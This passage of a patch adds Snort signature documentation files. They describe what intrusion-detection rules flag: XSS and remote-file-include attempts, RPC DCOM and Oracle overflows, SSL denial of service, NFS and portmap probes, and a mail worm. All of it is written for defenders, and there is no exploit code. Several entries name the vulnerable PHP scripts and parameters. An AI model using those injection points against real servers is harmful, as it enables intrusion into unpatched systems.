+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Lazarus" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "img" parameter in the "picture.php" script used by the "Lazarus" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Lazarus
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2572.txt
+++ snort-2.8.5.2/doc/signatures/2572.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+2572
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential 
+weakness on a host running a web application on Microsoft Internet 
+Information Server (IIS).
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential 
+weaknesses in a host running a web application on Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation
+on the host, this may be the prelude to an attack against that host 
+using that information.
+
+The attacker may also be trying to gain administrator access to the 
+host, garner information on users of the system or retrieve sensitive 
+customer information.
+
+Some applications may store sensitive information such as database 
+connections, user information, passwords and customer information in 
+files accessible via a web interface. Care should be taken to ensure 
+these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been 
+taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1747.txt
+++ snort-2.8.5.2/doc/signatures/1747.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1747
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) cachefsd is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port cachefsd is using.  Attackers can also learn what versions of the cachefsd protocol are accepted by cachefsd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as cachefsd run.  The cachefsd RPC service is used by Solaris hosts to cache requests for remote file systems mounted by the Network File System (NFS).  There is a vulnerability associated with cachefsd that may cause a buffer overflow, allowing an attacker to execute abitrary code with the privileges of cachefsd, possibly root. 
+
+--
+Affected Systems:
+Solaris 2.5.1, 2.6, 7, 8, 9
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where cachefsd runs.  This may be a precursor to an attack to exploit the cachefsd buffer overflow.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+If a legitimate remote user is allowed to perform NFS mounts, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for cachefsd, not probes of the cachefsd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the cachefsd service itself. An attacker may attempt to go directly to the cachefsd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=can-2002-0084
+
+Bugtraq:
+http://www.securityfocus.com/bid/4674
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3162.txt
+++ snort-2.8.5.2/doc/signatures/3162.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3162
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/365.txt
+++ snort-2.8.5.2/doc/signatures/365.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+365
+
+--
+Summary:
+This event is generated when an external user pings an internal server using an echo request ICMP type. This may indicate an attempt to scan the network or cause a denial of service using a "ping flood." 
+
+--
+Impact:
+Possible information gathering or denial of service attempt. 
+
+--
+Detailed Information:
+An ICMP ping may indicate a scanning attempt, a ping flood, or a remote user attempting to see if the network responds.
+
+--
+Affected Systems:
+Any system that responds to a ping request.
+
+--
+Attack Scenarios:
+An attacker can use a scanner that pings a system to find out more information about the network, or the attacker can use a tool to send a large number of pings in an attempt to "flood" the network and create a denial of service condition.
+
+--
+Ease of Attack:
+Simple. Scanning and ping-based DoS tools are freely available.
+
+--
+False Positives:
+This rule will generate an alert if a legitimate remote user pings an internal server.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use a packet filtering firewall to block ICMP ping packets with an ICMP type value of 8.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2190.txt
+++ snort-2.8.5.2/doc/signatures/2190.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+2190
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS03-026.asp
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000676.txt
+++ snort-2.8.5.2/doc/signatures/100000676.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000676
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "missing.php" using a remote file being passed as the 
+"header_prog" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "header_prog" parameter in the "missing.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2629.txt
+++ snort-2.8.5.2/doc/signatures/2629.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2629
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "register_user_repgroup" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "privilege_type" variable
+to cause the overflow. The result could permit the attacker to gain
+escalated privileges and run code of their choosing. This attack
+requires an attacker to logon to the database with a valid username
+and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck94.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2538.txt
+++ snort-2.8.5.2/doc/signatures/2538.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2538
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+US-CERT:
+http://www.us-cert.gov/cas/techalerts/TA04-104A.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1901.txt
+++ snort-2.8.5.2/doc/signatures/1901.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1901
+
+--
+Summary:
+This event is generated when a known response to a sucessful attack is
+detected.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when a known response to a sucessful attack is
+detected. Some applications do not perform stringent checks when validating
+the credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can be
+compromised and trust relationships between the victim server and other
+hosts can be exploited by the attacker.
+
+Events generated by rules in attack-responses.rules may indicate that an
+attack against a host has been sucessful.
+
+--
+Affected Systems:
+	Any vulnerable host.
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. An attacker might also exploit a
+weakness in a particular application or piece of software that will
+present the opportunity to gain access to the host.
+
+--
+Ease of Attack:
+Simple. Many exploits exist for various systems and software.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Care should be taken to investigate the source of the event. Check for
+signs of system compromise in log files. Check for listening services on
+high ports.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1532.txt
+++ snort-2.8.5.2/doc/signatures/1532.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1532
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3345.txt
+++ snort-2.8.5.2/doc/signatures/3345.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3345
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/720.txt
+++ snort-2.8.5.2/doc/signatures/720.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+720
+
+--
+Summary:
+This event is generated when email is received from a Post Office Protocol (POP) server that may contain an attachment with the Snow White worm.
+
+--
+Impact:
+Possible system compromise.  The worm can alter system files and registry key settings. 
+
+--
+Detailed Information:
+The Snow White worm, also known as Hybris, may contain text with a unique misspelling of "Suddlently".  This worm attempts to write to the wsock32.dll library.  It may also attempt to alter registry key settings.
+
+--
+Affected Systems:
+Microsoft Win32 systems.
+
+--
+Attack Scenarios:
+The worm is spread by e-mail and attempts to infect other hosts when a user opens the e-mail attachment. 
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This event is triggered when an e-mail is received from a POP server that contains the misspelled word "Suddlently".
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Make sure that the suspected infected host has the most current anti-virus software.  
+
+Run a virus scan on the suspected infected host.
+
+--
+Contributors:
+Original rule writer unknown.
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+F-Secure:
+http://www.f-secure.com/v-descs/hybris.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1925.txt
+++ snort-2.8.5.2/doc/signatures/1925.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1925
+
+--
+Summary:
+This event is generated when a request is made to Network File System (NFS) to list all exported file systems and to indicate which clients are permitted to mount each file system. 
+
+--
+Impact:
+Information disclosure.  This can allow an attacker to discover exported NFS file systems and client mount permissions.
+
+--
+Detailed Information:
+The mountd Remote Procedure Call (RPC) implements the NFS mount protocol.  When an NFS client requests a mount of an NFS file system, mountd examines the list of exported file systems.  If the NFS client is permitted access to the requested file system, mountd returns a file handle for the requested directory.  An attacker or legitimate NFS client may request a list of exported file systems and client mount permissions.
+
+--
+Affected Systems:
+All systems running NFS.
+
+--
+Attack Scenarios:
+An attacker may attempt to list the exported NFS file systems as a precursor to mounting them to read or change a specific file. 
+
+--
+Ease of Attack:
+Simple.   
+
+--
+False Positives:
+If a legitimate remote user is allowed to list exported NFS file systems, this rule may trigger.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+http://www.whitehats.com/info/IDS26
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000420.txt
+++ snort-2.8.5.2/doc/signatures/100000420.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000420
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Informium" application running on a webserver. Access to the file "common-menu.php" using a remote file being passed as the "CONF[local_path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "CONF[local_path]" parameter in the "common-menu.php" script used by the "Informium" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Informium
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000643.txt
+++ snort-2.8.5.2/doc/signatures/100000643.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000643
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "template_rename.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"template_rename.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1094.txt
+++ snort-2.8.5.2/doc/signatures/1094.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1094
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2069.txt
+++ snort-2.8.5.2/doc/signatures/2069.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2069
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in devices using the IPC@CHIP from Beck IPC GmbH.
+
+--
+Impact:
+Information disclosure
+
+--
+Detailed Information:
+The IPC@CHIP from Beck IPC GmbH is used in network appliances for use in
+controlling those devices via a web interface.
+
+The embedded webserver uses the system root as its default webserver 
+root directory. This means an attacker can request any file on the 
+system by making an http request for the file.
+
+--
+Affected Systems:
+All devices using this chip.
+
+--
+Attack Scenarios:
+The attacker needs to craft a special URI including chip.ini with a 
+request for a file on the system.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Network devices using this chip should be closely monitored, access to 
+the embedded webserver should be carefully controlled using a firewall 
+or disabled where possible.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2775
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0749
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1395.txt
+++ snort-2.8.5.2/doc/signatures/1395.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1395
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3376.txt
+++ snort-2.8.5.2/doc/signatures/3376.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3376
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
